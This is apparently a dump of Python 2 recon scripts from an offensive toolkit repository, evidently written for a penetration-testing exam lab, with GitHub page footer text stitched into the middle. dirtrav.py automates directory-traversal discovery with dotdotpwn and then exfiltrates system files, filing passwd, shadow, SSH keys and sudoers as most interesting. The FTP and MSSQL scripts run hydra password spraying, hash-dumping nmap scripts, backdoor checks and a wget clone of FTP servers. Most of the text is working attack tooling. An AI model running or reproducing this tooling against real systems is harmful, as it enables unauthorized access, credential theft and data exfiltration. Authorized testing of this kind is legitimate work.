572 | print "INFO: Starting dirb scan for %s:%s" % (url, port) 573 | dirb(default_wordlist, DIRB_DEFAULT) 574 | print "INFO: Finished initial dirb scan for %s:%s" % (url, port) 575 | if args.intensity in [3,4,7,8,11,12]: 576 | genlistLoop(DIRB_DEFAULT) 577 | dirb(CEWL_OUT, DIRB_CEWL_OUTPUT) 578 | comuni("dirb",DIRB_COMBINED) 579 | sortBySize(DIRB_COMBINED) 580 | print "INFO: Directory brute of %s completed" % (url) 581 | whatWeb(DIRB_COMBINED) 582 | print "INFO: nmapHttpVulns scan started on %s:%s" % (ip_address, port) 583 | subprocess.check_output(['./nmapHttpVulns.py',STAT_200,url]) 584 | print "INFO: nmapHttpVulns of %s complete" % (url) 585 | parameth(DIRB_COMBINED, DIRB_PARAMETH) 586 | cleanup() 587 | else: 588 | comuni("dirb",DIRB_COMBINED) 589 | sortBySize(DIRB_COMBINED) 590 | cleanup() 591 | print "INFO: Dirb completed on %s" % (url) 592 | 593 | if (args.tool == "gobuster"): 594 | print "INFO: Starting gobuster scan for %s:%s" % (url, port) 595 | #print "WARN: Gobuster is only scanning for certain file extensions. Currently configured for: %s" % (FILE_EXT) 596 | #print "WARN: Gobuster is not using a full wordlist, do a comprehensive scan after completion! Wordlist: %s" % (default_wordlist) 597 | #dirToStoreChunks, absPathFileToChunk,chunkFileNames,numChunks 598 | chunkWordlistGeneric(WORDLIST_CHUNK_DIR,default_wordlist,wordlistLastItem,PROCESSES) 599 | count = 0 600 | jobs = [] 601 | for chunk in os.listdir(WORDLIST_CHUNK_DIR): 602 | #print "Chunks %d" % len(os.listdir(WORDLIST_CHUNK_DIR)) 603 | path = "%s/%s" % (WORDLIST_CHUNK_DIR,chunk) # path.abspath uses CWD so hard code path here 604 | if os.path.getsize(path) > 0: 605 | #print "Going to scan..." 606 | scanname = "%s_%s_%s_default_chunk_%s" % (GOB_DEFAULT, name, port, str(count)) 607 | p = multiprocessing.Process(target=gobuster, args=(path,scanname)) #path is just passing the full path of the wordlist 608 | p.start() 609 | jobs.append(p) 610 | count += 1 611 | for p in jobs: 612 | p.join() 613 | #Combine finished first scan 614 | scanChunkNames = "gobuster_%s_%s_default_%s_%s_default_chunk_" % (name, port, name, port) 615 | #print "IN: %s, combining %s" % (name,scanChunkNames) 616 | comuni(scanChunkNames,GOB_DEFAULT) 617 | for resChunk in os.listdir(BASE): 618 | if os.path.isfile("%s/%s" % (BASE,resChunk)): 619 | tmp = "_default_%s_%s_default_chunk" % (name, port) 620 | if tmp in resChunk: 621 | resChunk = "%s/%s" % (BASE,resChunk) 622 | os.remove(resChunk) 623 | if args.intensity in [3,4,7,8,11,12]: 624 | genlistLoopProc(GOB_DEFAULT) 625 | gobuster(CEWL_OUT, GOB_CEWL_OUTPUT) 626 | comuni("gobuster",GOB_COMBINED) 627 | print "INFO: Directory brute of %s completed" % (url) 628 | sortBySize(GOB_COMBINED) 629 | whatWeb(GOB_COMBINED) 630 | print "INFO: nmapHttpVulns scan started on %s:%s" % (ip_address, port) 631 | subprocess.check_output(['/root/scripts/recon_enum/./nmapHttpVulns.py',STAT_200,url]) 632 | print "INFO: nmapHttpVulns of %s complete" % (url) 633 | parameth(GOB_COMBINED, GOB_PARAMETH) 634 | cleanup() 635 | else: 636 | comuni("gobuster",GOB_COMBINED) 637 | sortBySize(GOB_COMBINED) 638 | cleanup() 639 | print "INFO: Gobuster completed on %s" % (url) 640 | 641 | if (args.tool == "wfuzz"): 642 | print "INFO: Starting wfuzz scan for %s:%s" % (url, port) 643 | #print "WARN: wfuzz is only scanning for certain file extensions. Currently configured for: %s" % (FILE_EXT) 644 | #dirToStoreChunks, absPathFileToChunk,chunkFileNames,numChunks 645 | if url[-1] != "/": 646 | url = url + "/" 647 | url = url + "FUZZ" 648 | chunkWordlistGeneric(WORDLIST_CHUNK_DIR,default_wordlist,wordlistLastItem,PROCESSES) 649 | count = 0 650 | jobs = [] 651 | for chunk in os.listdir(WORDLIST_CHUNK_DIR): 652 | #print "Chunks %d" % len(os.listdir(WORDLIST_CHUNK_DIR)) 653 | path = "%s/%s" % (WORDLIST_CHUNK_DIR,chunk) # path.abspath uses CWD so hard code path here 654 | if os.path.getsize(path) > 0: 655 | #print "Going to scan..." 656 | scanname = "%s_%s_%s_default_chunk_%s" % (WFUZZ_DEFAULT, name, port, str(count)) 657 | p = multiprocessing.Process(target=wfuzz, args=(path,scanname)) #path is just passing the full path of the wordlist 658 | p.start() 659 | jobs.append(p) 660 | count += 1 661 | for p in jobs: 662 | p.join() 663 | #Combine finished first scan 664 | scanChunkNames = "wfuzz_%s_%s_default_%s_%s_default_chunk_" % (name, port, name, port) 665 | #print "IN: %s, combining %s" % (name,scanChunkNames) 666 | comuni(scanChunkNames,WFUZZ_DEFAULT) 667 | for resChunk in os.listdir(BASE): 668 | if os.path.isfile("%s/%s" % (BASE,resChunk)): 669 | tmp = "_default_%s_%s_default_chunk" % (name, port) 670 | if tmp in resChunk: 671 | resChunk = "%s/%s" % (BASE,resChunk) 672 | os.remove(resChunk) 673 | if args.intensity in [3,4,7,8,11,12]: 674 | url = url[:-5] #remove FUZZ from url for other tools 675 | genlistLoopProc(WFUZZ_DEFAULT) 676 | wfuzz(CEWL_OUT, WFUZZ_CEWL_OUTPUT) 677 | comuni("wfuzz",WFUZZ_COMBINED) 678 | os.rename(WFUZZ_COMBINED, WFUZZ_COMBINED_TMP) 679 | transformWfuzzOutput(WFUZZ_COMBINED_TMP, WFUZZ_COMBINED) 680 | print "INFO: Directory brute of %s completed" % (url) 681 | sortBySize(WFUZZ_COMBINED) 682 | whatWeb(WFUZZ_COMBINED) 683 | print "INFO: nmapHttpVulns scan started on %s:%s" % (url, port) 684 | subprocess.check_output(['./nmapHttpVulns.py',STAT_200,url]) 685 | print "INFO: nmapHttpVulns of %s complete" % (url) 686 | parameth(WFUZZ_COMBINED, WFUZZ_PARAMETH) 687 | cleanup() 688 | else: 689 | comuni("wfuzz",WFUZZ_COMBINED) 690 | sortBySize(WFUZZ_COMBINED) 691 | cleanup() 692 | print "INFO: wfuzz completed on %s" % (url) 693 | -------------------------------------------------------------------------------- /Recon/dirtrav.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #ONLY WEB HAS BEEN IMPLEMENTED 4 | #If /usr/share/dotdotpwn/Reports exists, dotdotpwn will automatically put raw results in there for you 5 | #Reconscan.py creates the Reports directory for you 6 | 7 | import sys 8 | import os 9 | import subprocess 10 | from subprocess import CalledProcessError 11 | import argparse 12 | import multiprocessing 13 | from multiprocessing import Process, Queue 14 | import requests 15 | import time 16 | from shutil import move 17 | 18 | #This function currently runs regular and an extension web scans using ddpwn on a list of URLs 19 | #If something is found, it will output the result to the /dirb/ directory 20 | def dotPwn(URL): 21 | #Usage: ./dotdotpwn.pl -m -h [OPTIONS] 22 | # Available options: 23 | # -m Module [http | http-url | ftp | tftp | payload | stdout] 24 | # -h Hostname 25 | # -O Operating System detection for intelligent fuzzing (nmap) 26 | # -o Operating System type if known ("windows", "unix" or "generic") 27 | # -s Service version detection (banner grabber) 28 | # -d Depth of traversals (e.g. deepness 3 equals to ../../../; default: 6) 29 | # -f Specific filename (e.g. /etc/motd; default: according to OS detected, defaults in TraversalEngine.pm) 30 | # -E Add @Extra_files in TraversalEngine.pm (e.g. web.config, httpd.conf, etc.) 31 | # -S Use SSL for HTTP and Payload module (not needed for http-url, use a https:// url instead) 32 | # -u URL with the part to be fuzzed marked as TRAVERSAL (e.g. http://foo:8080/id.php?x=TRAVERSAL&y=31337) 33 | # -k Text pattern to match in the response (http-url & payload modules - e.g. "root:" if trying /etc/passwd) 34 | # -p Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword 35 | # -x Port to connect (default: HTTP=80; FTP=21; TFTP=69) 36 | # -t Time in milliseconds between each test (default: 300 (.3 second)) 37 | # -X Use the Bisection Algorithm to detect the exact deepness once a vulnerability has been found 38 | # -e File extension appended at the end of each fuzz string (e.g. ".php", ".jpg", ".inc") 39 | # -U Username (default: 'anonymous') 40 | # -P Password (default: 'dot@dot.pwn') 41 | # -M HTTP Method to use when using the 'http' module [GET | POST | HEAD | COPY | MOVE] (default: GET) 42 | # -r Report filename (default: 'HOST_MM-DD-YYYY_HOUR-MIN.txt') 43 | # -b Break after the first vulnerability is found 44 | # -q Quiet mode (doesn't print each attempt) 45 | # -C Continue if no data was received from host 46 | 47 | # why am I not using the -p option for filename with payloads? 48 | port, resultsOut, baseURL, URL, module = parseURL(URL) 49 | konfirmString,konfirmFile = setDotPwnOptions() 50 | if ("TRAVERSAL" in URL): 51 | #last update added 'module' (previously http-url) and -h for host. May need to revert 52 | #if the -h option breaks http-url 53 | DOTPWN = 'dotdotpwn.pl -m %s -u %s -h %s -k %s -f %s -d %s -o %s -x %s -t 1 -q -C -b' % (module, URL, baseURL, konfirmString, konfirmFile, args.depth, args.os, port) 54 | print "DOTPWN: %s" % DOTPWN 55 | DOTPWNE = 'dotdotpwn.pl -m %s -u %s -h %s -k %s -f %s -d %s -o %s -x %s -t 1 -e %s -q -C -b' % (module, URL, baseURL, konfirmString, konfirmFile, args.depth, args.os, port, args.extensions) 56 | else: 57 | print "WARN: NO 'TRAVERSAL' TARGETING STRING FOUND IN URL" 58 | DOTPWN = 'dotdotpwn.pl -m http -h %s -k %s -f %s -d %s -o %s -x %s -t 1 -q -C -b' % (baseURL, konfirmString, konfirmFile, args.depth, args.os, port) 59 | DOTPWNE = 'dotdotpwn.pl -m http -h %s -k %s -f %s -d %s -o %s -x %s -t 1 -e %s -q -C -b' % (baseURL, konfirmString, konfirmFile, args.depth, args.os, port, args.extensions) 60 | try: 61 | DOTPWNRESULTS = subprocess.check_output(DOTPWN, shell=True) 62 | except CalledProcessError as ex: 63 | writeOutputFile = True 64 | text = ex.output.split("\n") 65 | for line in text: 66 | if ("[+] Total Traversals found: 0" == line): 67 | print "INFO: No traversals found for %s" % URL 68 | writeOutputFile = False 69 | if ("<- VULNERABLE" in line): 70 | vuln.append(line) 71 | if (writeOutputFile): 72 | try: 73 | outfile = "/root/scripts/recon_enum/results/exam/dotdotpwn/%s" % resultsOut 74 | print "INFO: Traversals found! See %s" % outfile 75 | outFileWriter = open(outfile, "w") 76 | outFileWriter.write(ex.output) 77 | outFileWriter.close() 78 | except: 79 | raise 80 | if (len(vuln) == 0): #don't run extension scan if we already have a vuln 81 | try: 82 | DOTPWNERESULTS = subprocess.check_output(DOTPWNE, shell=True) 83 | except CalledProcessError as fx: 84 | writeOutputFile = True 85 | textE = fx.output.split("\n") 86 | for line in textE: 87 | if ("[+] Total Traversals found: 0" == line): 88 | print "INFO: No traversals found for %s using file extensions" % URL 89 | writeOutputFile = False 90 | if ("<- VULNERABLE" in line): 91 | vuln.append(line) 92 | if (writeOutputFile): 93 | try: 94 | outfile = "/root/scripts/recon_enum/results/exam/dotdotpwn/E%s" % resultsOut 95 | print "INFO: Traversals found using extensions! See %s" % outfile 96 | outFileWriter = open(outfile, "w") 97 | outFileWriter.write(fx.output) 98 | outFileWriter.close() 99 | except: 100 | raise 101 | if (args.scan_and_retrieve and len(vuln) > 0): 102 | print "INFO: Downloading files" 103 | retrieve() 104 | 105 | #grab pieces to build URL, feed in files to grab, 106 | def retrieve(): 107 | vulnURLs = analyzeVuln(vuln) 108 | tmp = vulnURLs[0] 109 | vulnProto = tmp[0] 110 | vulnBase = tmp[1] 111 | vulnPage = tmp[2] 112 | vulnStringPrefix = tmp[3] 113 | vulnStringSuffix = tmp[4] 114 | encodedSplit = tmp[5] 115 | try: 116 | xfilFileName = "%s" % args.xfil_files 117 | xfilFile = open(xfilFileName,'r') 118 | for xfil in xfilFile: 119 | if (xfil[0] == "/"): 120 | xfil = xfil[1:] 121 | if ("\n" in xfil): 122 | xfil = xfil[:-1] 123 | xfiltmp = xfil.replace("/", "_") #for outputFile 124 | vulnBasetmp = vulnBase.replace("/", "_") #for outputFile 125 | xfil = xfil.replace("/", encodedSplit) 126 | #2x vulnStringPrefix due to a parsing bug. Additional shouldn't hurt.... 127 | if vulnPage == "": 128 | fullURL = vulnProto + vulnBase + vulnStringPrefix + vulnStringPrefix + xfil + vulnStringSuffix 129 | else: 130 | fullURL = vulnProto + vulnBase + vulnPage + vulnStringPrefix + vulnStringPrefix + xfil + vulnStringSuffix 131 | #print "DEBUG: %s" % fullURL 132 | fileContents, status_code = grabFileFromURL(fullURL) 133 | if (status_code == 200): 134 | outputFile = "/root/scripts/recon_enum/results/exam/dotdotpwn/%s_%s" % (vulnBasetmp, xfiltmp) 135 | try: 136 | output = open(outputFile, 'w+') 137 | output.write(fileContents) 138 | output.close() 139 | except UnicodeEncodeError: 140 | #print "WARNING: Unicode errors. Forcing ascii, xmlcharrefreplace" 141 | output = open(outputFile, 'w+') 142 | fileContents = fileContents.encode('ascii','xmlcharrefreplace') 143 | output.write(fileContents) 144 | output.close() 145 | except: 146 | raise 147 | except: 148 | raise 149 | sortRetrievedFiles() 150 | time.sleep(1) 151 | sortMostInterestingFiles() 152 | time.sleep(1) 153 | sortEverythingElse() 154 | print "INFO: Downloading of files complete" 155 | 156 | def grabFileFromURL(url): 157 | try: 158 | r = requests.get(url) 159 | if (r.status_code == 200): 160 | return r.text, r.status_code 161 | else: 162 | return False, r.status_code 163 | except: 164 | raise 165 | 166 | 167 | def sortRetrievedFiles(): 168 | downloadDir = "/root/scripts/recon_enum/results/exam/dotdotpwn/" 169 | os.chdir(downloadDir) 170 | files = os.listdir(downloadDir) 171 | sizes = [] 172 | moveTheseFiles = [] 173 | for item in files: 174 | if os.path.isfile(item): 175 | sizes.append(os.path.getsize(item)) 176 | for size in sizes: 177 | if sizes.count(size) > 3: 178 | moveTheseFiles.append(size) 179 | for sizeOfitems in moveTheseFiles: 180 | try: 181 | os.makedirs(str(sizeOfitems)) 182 | except: 183 | pass 184 | #print "Warning: Dir already exists" 185 | for items in files: 186 | if os.path.getsize(items) == sizeOfitems: 187 | newpath = "./%s/%s" % (str(sizeOfitems),items) 188 | os.rename(items,newpath) 189 | files.remove(items) 190 | 191 | def sortMostInterestingFiles(): 192 | downloadDir = "/root/scripts/recon_enum/results/exam/dotdotpwn/" 193 | os.chdir(downloadDir) 194 | files = os.listdir(downloadDir) 195 | mostInterestingFiles = "passwd","shadow","id_rsa","id_dsa","passdb","samba","ssh","authorized","sudoers","history" 196 | try: 197 | os.makedirs("mostInteresting") 198 | except: 199 | pass 200 | for item in files: 201 | for name in mostInterestingFiles: 202 | if (name in item): 203 | new = "./mostInteresting/%s" % (item) 204 | move(item,new) 205 | break 206 | 207 | def sortEverythingElse(): 208 | downloadDir = "/root/scripts/recon_enum/results/exam/dotdotpwn/" 209 | os.chdir(downloadDir) 210 | files = os.listdir(downloadDir) 211 | everythingElse = "etc","var","proc" 212 | try: 213 | for folder in everythingElse: 214 | os.makedirs(folder) 215 | except: 216 | pass 217 | for item in files: 218 | for name in everythingElse: 219 | if (os.path.isdir(item)): 220 | break 221 | if (name in item): 222 | new = "./%s/%s" % (name,item) 223 | move(item,new) 224 | break 225 | 226 | ##1, grab port 227 | ##2, output file cannot have "/" in filename 228 | ##3, grab base url, http module doesn't like http:// 229 | ##4, file has \n causing errors in query, strip those 230 | def parseURL(url): 231 | tmp = url.split(":") 232 | if (len(tmp) == 3): 233 | tmp2 = tmp[2] 234 | port = tmp2.split("/")[0] 235 | if (len(tmp) <= 2): 236 | if ("https" == tmp[0]): 237 | port = "443" 238 | elif ("http" == tmp[0]): 239 | port = "80" 240 | if (len(tmp) > 3): #this should never happen 241 | port = "80" 242 | try: 243 | resultsOut = url.split("/")[2] + url.split("/")[3] 244 | except: 245 | raise 246 | tmp4 = url.split(":")[1] 247 | baseURL = tmp4[2:] 248 | if ("\n" in url): 249 | URL = url[:-1] 250 | else: 251 | URL = url 252 | if ("http" in URL): 253 | module = "http-url" 254 | elif ("ftp" in URL): 255 | module = "ftp" 256 | #print "Port, resOut, baseURL, URL: %s %s %s %s %s" % (port, resultsOut, baseURL, URL, module) 257 | return port, resultsOut, baseURL, URL, module 258 | 259 | def setDotPwnOptions(): 260 | if (args.os == "unix"): 261 | konfirmString = '"root:"' 262 | konfirmFile = '/etc/passwd' 263 | if (args.os == "windows"): 264 | konfirmString = '"[fonts]"' 265 | konfirmFile = '/windows/win.ini' 266 | return konfirmString,konfirmFile 267 | 268 | 269 | #will return values to build a string like base+page+pre+path+encodedsplit+userrequestfile+suffix 270 | #let base = IP:Port/ 271 | #let vulnPage = page.ext[/|=] 272 | def analyzeVuln(vulnar): 273 | final = [] 274 | for vuln in vulnar: 275 | vulnProto = "" 276 | vulnURL = [] 277 | vulnBase = "" 278 | vulnPage = "" 279 | vulnStringPrefix = "" 280 | vulnStringSuffix = "" 281 | encodedSplit = "" 282 | tmp = vuln[17:len(vuln)-14] #vuln is entire line from [*] testing url... to <- VULNERABLE 283 | vulnURL.append(tmp) 284 | if ("http://" in tmp): 285 | vulnProto = "http://" 286 | vulnBase = tmp.split("http://")[1] 287 | if ("https://" in tmp): 288 | vulnProto = "https://" 289 | vulnBase = tmp.split("https://")[1] 290 | if ("ftp://" in tmp): 291 | vulnProto = "ftp://" 292 | vulnBase = tmp.split("ftp://")[1] 293 | vulnPagetmp = vulnBase.split("/",1)[1] 294 | vulnBase = vulnBase.split("/",1)[0] 295 | vulnBase = vulnBase + "/" 296 | #print "DEBUG: vulnBase %s" % vulnBase 297 | #print "DEBUG: vulnPagetmp: %s" % vulnPagetmp 298 | if ("=" in vulnPagetmp): #vulnPage with param, ie 'index.php?arg=' 299 | vulnPage = vulnPagetmp.split("=",1)[0] 300 | vulnPage = vulnPage + "=" 301 | vulnStringPrefixtmp = vulnPagetmp.split("=",1)[1] 302 | else: #vulnPage with no param, ie index.php/ 303 | if ("passwd" in vulnPagetmp or "win.ini" in vulnPagetmp): 304 | #the vulnPage may be equal to the vulnBase/webRoot, no specific page 305 | vulnPage = "" 306 | else: 307 | vulnPage = vulnPagetmp.split("/",2)[0] 308 | vulnPage = vulnPage + "/" 309 | #print "DEBUG: vulnPagetmpsplit %s" % vulnPagetmp.split("/",2) 310 | vulnStringPrefixtmp = vulnPagetmp.split("/",2)[len(vulnPagetmp.split("/",2))-1] 311 | #print "DEBUG: vulnStringPrefixtmp: %s" %vulnStringPrefixtmp 312 | if (args.os == 'unix'): #looking for passwd and issue, user specified file not available yet 313 | vulnStringPrefix = vulnStringPrefixtmp.split("etc")[0] 314 | encodedSplittmp = vulnStringPrefixtmp.split("etc")[1] 315 | if ("passwd" in vulnStringPrefixtmp): 316 | vulnStringSuffix = vulnStringPrefixtmp.split("passwd")[1] 317 | for c in encodedSplittmp: 318 | if (c == "p"): 319 | break 320 | else: 321 | encodedSplit = encodedSplit + c 322 | if ("issue" in vulnStringPrefixtmp): 323 | vulnStringSuffix = vulnStringPrefixtmp.split("issue")[1] 324 | for c in encodedSplittmp: 325 | if (c == "p"): 326 | break 327 | else: 328 | encodedSplit = encodedSplit + c 329 | if (args.os == 'windows'): 330 | print "VulnStringPrefixtmp: " + vulnStringPrefixtmp 331 | vulnStringPrefix = vulnStringPrefixtmp.split("windows")[0] 332 | encodedSplittmp = vulnStringPrefixtmp.split("windows")[1] 333 | if ("win.ini" in vulnStringPrefixtmp): 334 | vulnStringSuffix = vulnStringPrefixtmp.split("win.ini")[1] 335 | for c in encodedSplittmp: 336 | if (c == "w"): 337 | break 338 | else: 339 | encodedSplit = encodedSplit + c 340 | vals = vulnProto, vulnBase, vulnPage, vulnStringPrefix, vulnStringSuffix, encodedSplit 341 | print "DEBUG: Make sure these values are correct: vulnProto, vulnBase, vulnPage, vulnStringPrefix, vulnStringSuffix, encodedSplit" 342 | print vals 343 | final.append(vals) 344 | return final 345 | 346 | if __name__=='__main__': 347 | 348 | parser = argparse.ArgumentParser(description='Rough script to handle discovery of and exfiltration of data through directory traversal. Recommend invoke with: dirTrav -sr') 349 | parser.add_argument('-d', '--scan-depth', type=int, action="store", dest="depth", default=10, help="depth of ../../../ to extend to, default of 10") 350 | parser.add_argument('-e', '--extensions', type=str, action="store", dest="extensions", default='".html"', help='extensions appended at the end of each fuzz string (e.g. \'".php", ".jpg", ".inc"\' Entire list needs to be encased in single quotes. Each extension needs to be in double quotes. There needs to be a comma and a space between each extension)') 351 | parser.add_argument('file', type=str, help="file with URLs to fuzz") 352 | parser.add_argument('os', type=str, action="store", help="OS greatly helps reduce false positives and reduces scan time. 'windows' or 'unix'") 353 | parser.add_argument('-s', '--scan', action="store_true", dest="scan", default="true", help="scan the target for directory traversal") 354 | parser.add_argument('-sr', '--scan-and-retrieve', nargs='?', const='true', default='false', dest="scan_and_retrieve", help="scan and retrieve files if a directory traversal is found") 355 | parser.add_argument('-x', '--xfil-files', type=str, action="store", dest="xfil_files", default="/root/lists/Personal/DirTrav/linux_all.txt", help="list of files to retrieve if a directory traversal vulnerability is found. Default is linux_all.txt.") 356 | 357 | args = parser.parse_args() 358 | #print args 359 | vuln = [] 360 | inputFileName = "%s" % args.file 361 | if (args.os == "windows"): 362 | if ("linux_all.txt" in args.xfil_files): 363 | print "Error: Will not retrieve linux files from Windows. Set os to Linux or pass a file with Windows files to -x" 364 | raise 365 | if (args.os == "linux"): 366 | if ("windows_all.txt" in args.xfil_files): 367 | print "Error: Will not retrieve windows files from Linux. Set os to Windows or pass a file with Linux files to -x" 368 | raise 369 | 370 | if (args.scan): 371 | try: 372 | inputFile = open(inputFileName,'r') 373 | jobs = [] 374 | print "INFO: Starting Dotdotpwn" 375 | for URL in inputFile: 376 | if ("\n" in URL): 377 | URL = URL[:-1] 378 | if (URL[0] != "#"): 379 | #print "Processing %s" % URL 380 | p = multiprocessing.Process(target=dotPwn, args=(URL,)) 381 | jobs.append(p) 382 | p.start() 383 | inputFile.close() 384 | except: 385 | raise 386 | -------------------------------------------------------------------------------- /Recon/ftprecon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import subprocess 3 | import sys 4 | import os 5 | 6 | if len(sys.argv) != 3: 7 | print "Usage: ftprecon.py " 8 | sys.exit(0) 9 | 10 | ip_address = sys.argv[1].strip() 11 | port = sys.argv[2].strip() 12 | 13 | #NSE Script documentation 14 | #RUNNING 15 | #ftp-anon: checks if FTP server allows anonymous logins, if so, get a dir listing 16 | #ftp-bounce: checks if FTP server allows port scanning using the FTP bounce method, see https://en.wikipedia.org/wiki/FTP_bounce_attack 17 | #ftp-proftpd-backdoor: check for ProFTPD 1.3.3c backdoor, OSVDB-ID 69562. If vuln, telnet or ftp and send: "HELP ACIDBITCHEZ" 18 | #ftp-syst: sends SYST and STAT commands and returns result. SYST asks for OS info. STAT asks for server status. see https://cr.yp.to/ftp/syst.html 19 | #ftp-vsftpd-backdoor: check for vsFTPd 2.3.4 backdoor CVE-2011-2523, send a :) and potential to execute a command 20 | #ftp-vuln-cve-2010-4221: check for stack-based buffer overflow in ProFTPD server between 1.3.2rc3 and 1.3.3b. May crash the ftp service. Default tries to run nmap. Check exploit-db. 21 | #tftp-enum: brute's a default list of file names to determine if they are available on the server. have to manually tftp {IP} get {filename} if discovered. 22 | #TFTP is UDP protocol make sure it's handled correctly 23 | 24 | #NOT RUNNING 25 | #ftp-brute: perform brute force against FTP 26 | #ftp-libopie: check for CVE-2010-1938, WARNING will crash if vulnerable, better to manually check... 27 | print "INFO: Performing nmap FTP script scan for %s:%s" % (ip_address, port) 28 | subprocess.check_output(['nmap','-n','-sV','-Pn','-vv','-p',port,'--script=banner,ftp-anon,ftp-bounce,ftp-syst,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum,vulners','-oA',"/root/scripts/recon_enum/results/exam/ftp/%s_%s_ftp" % (ip_address,port),ip_address]) 29 | 30 | #user: anonymous 31 | #pass: guest 32 | #nmap should do anon, but here just in case 33 | 34 | print "INFO: Performing hydra ftp scan against %s" % (ip_address) 35 | try: 36 | results = subprocess.check_output(['hydra','-L','/usr/share/wordlists/lists/userlist.txt','-P','/usr/share/wordlists/lists/quick_password_spray.txt','-f','-o',"/root/scripts/recon_enum/results/exam/ftp/%s_%s_ftphydra.txt" % (ip_address,port),'-u',ip_address,'-s',port,'ftp']).split("\n") 37 | for result in resultarr: 38 | if "login:" in result: 39 | print "[*] Valid ftp credentials found: " + result 40 | except subprocess.CalledProcessError as hydrerr: 41 | if hydrerr.returncode == 255: 42 | print "Hydra broke early with status 255, it must have found something! Check ftphydra for output." 43 | elif hydrerr.returncode != 0: 44 | print "Hydra broke:" 45 | print hydrerr.returncode 46 | print hydrerr.output 47 | else: 48 | print "INFO: No valid ftp credentials found" 49 | 50 | 51 | print "INFO: Attempting FTP clone against %s" % (ip_address) 52 | try: 53 | os.chdir("/root/scripts/recon_enum/results/exam/ftp") 54 | ftp_string = "ftp://" + ip_address 55 | result = subprocess.check_output(['wget','-r','-q',ftp_string]) 56 | except subprocess.CalledProcessError as wgeterr: 57 | print "Error cloning FTP: " + wgeterr 58 | -------------------------------------------------------------------------------- /Recon/mssqlrecon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import subprocess 3 | import sys 4 | 5 | if len(sys.argv) != 3: 6 | print "Usage: mysqlrecon.py " 7 | sys.exit(0) 8 | 9 | ip_address = sys.argv[1].strip() 10 | port = sys.argv[2].strip() 11 | 12 | #NSE Documentation 13 | #Running 14 | #ms-sql-dac: queries for the DAC (admin) port of an instance 15 | #ms-sql-dump-hashes: dump hashes in format for john. requires admin. 16 | #ms-sql-empty-password: attempts to auth using empty password for the 'sa' account. 17 | #ms-sql-info: query browser server (UDP 1434) for info. no auth required. 18 | #ms-sql-ntlm-info: enum info from services with NTLM auth enabled 19 | 20 | #Not Running 21 | #ms-sql-brute: brute 22 | #ms-sql-config: queries for databases, linked servers, settings. auth required. 23 | #ms-sql-hasdbaccess: queries for list of databases a user has access to. auth required. 24 | #ms-sql-query: runs a query against server. auth required. 25 | #ms-sql-tables: queries for a list of tables per database. auth required. 26 | #ms-sql-xp-cmdshell: runs a command. requires admin. args 'username''password''cmd' 27 | print "INFO: Performing nmap MSSQL script scan for %s:%s" % (ip_address, port) 28 | #MSSQLSCAN = "nmap -n -sV -Pn -vv -p %s --script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA '/root/scripts/recon_enum/results/exam/mssql/%s_mssql.nmap' %s" % (port, ip_address, ip_address) 29 | #results = subprocess.check_output(MSSQLSCAN, shell=True) 30 | subprocess.check_output(['nmap','-n','-sV','-Pn','-vv','-p',port,'--script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners','-oA',"/root/scripts/recon_enum/results/exam/mssql/%s_%s_mssql" % (ip_address,port),ip_address]) 31 | 32 | #Hydra meant to do weak brute/spray, not extensive 33 | #run manually for extensive brute 34 | print "INFO: Performing hydra mssql scan against %s" % (ip_address) 35 | #HYDRA = "hydra -L /root/lists/userlist_sqlbrute.txt -P /root/lists/quick_password_spray.txt -f -o /root/scripts/recon_enum/results/exam/mssql/%s_mssqlhydra.txt -u %s -s %s mssql" % (ip_address, ip_address, port) 36 | try: 37 | #results = subprocess.check_output(HYDRA, shell=True) 38 | #resultarr = results.split("\n") 39 | results = subprocess.check_output(['hydra','-L','/root/lists/userlist_sqlbrute.txt','-P','/root/lists/quick_password_spray.txt','-f','-o','/root/scripts/recon_enum/results/exam/mssql/%s_%s_mssqlhydra.txt' % (ip_address,port),'-u',ip_address,'-s',port,'mssql']).split("\n") 40 | for result in resultarr: 41 | if "login:" in result: 42 | print "[*] Valid mssql credentials found: %s" % (result) 43 | except subprocess.CalledProcessError as hydrerr: 44 | if hydrerr.returncode == 255: 45 | print "Hydra broke early with status 255, it must have found something! Check mssqlhydra for output." 46 | elif hydrerr.returncode != 0: 47 | print "Hydra broke:" 48 | print hydrerr.returncode 49 | print hydrerr.output 50 | else: 51 | print "INFO: No valid mssql credentials found" 52 | 53 | # outfile = "/root/scripts/recon_enum/results/exam/mssql/%s_mssqlrecon.txt" % (ip_address) 54 | # f = open(outfile, "w") 55 | # f.write(results) 56 | # f.close 57 | 58 | © 2019 GitHub, Inc. 59 | Terms 60 | Privacy 61 | Security 62 | Status 63 | Help 64 | 65 | Contact GitHub 66 | Pricing 67 | API 68 | Training 69 | Blog 70 | About 71 | 72 | -------------------------------------------------------------------------------- /Recon/mysqlrecon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import subprocess 3 | import sys 4 | 5 | if len(sys.argv) != 3: 6 | print "Usage: mysqlrecon.py " 7 | sys.exit(0) 8 | 9 | ip_address = sys.argv[1].strip() 10 | port = sys.argv[2].strip() 11 | 12 | #NSE Documentation 13 | #Running 14 | #mysql-databases: attempts to list databases. args mysqluser,mysqlpass. will use empty password if none provided/brute/etc 15 | #mysql-dump-hashes: dumps hashes for John. requires root. args username,password 16 | #mysql-empty-password: checks for Mysql servers with an empty password for 'root' or 'anonymous' 17 | #mysql-enum: performs user enum using a bug. 5.x are susceptible when using old auth mechanism. seclists.org/fulldisclosure/2012/Dec/9 18 | #mysql-info: connects and prints proto, version, thread, status, capabilities, password salt, etc 19 | #mysql-variables: attempt to show variables on a server. requires auth. will use empty password if non provided. 20 | #mysql-vuln-cve2012-2122: auth bypass in versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22. 21 | 22 | #Not Running 23 | #mysql-audit: audit security config against parts of CIS MySQL 1.0.2 benchmark --script-args mysql-audit.username,password,filename 24 | #mysql-brute: brute guess against mySQL, seems beneficial to let nmap brute instead of hydra for additional nmap scripts args 'userdb''passdb' 25 | #mysql-query: runs a query 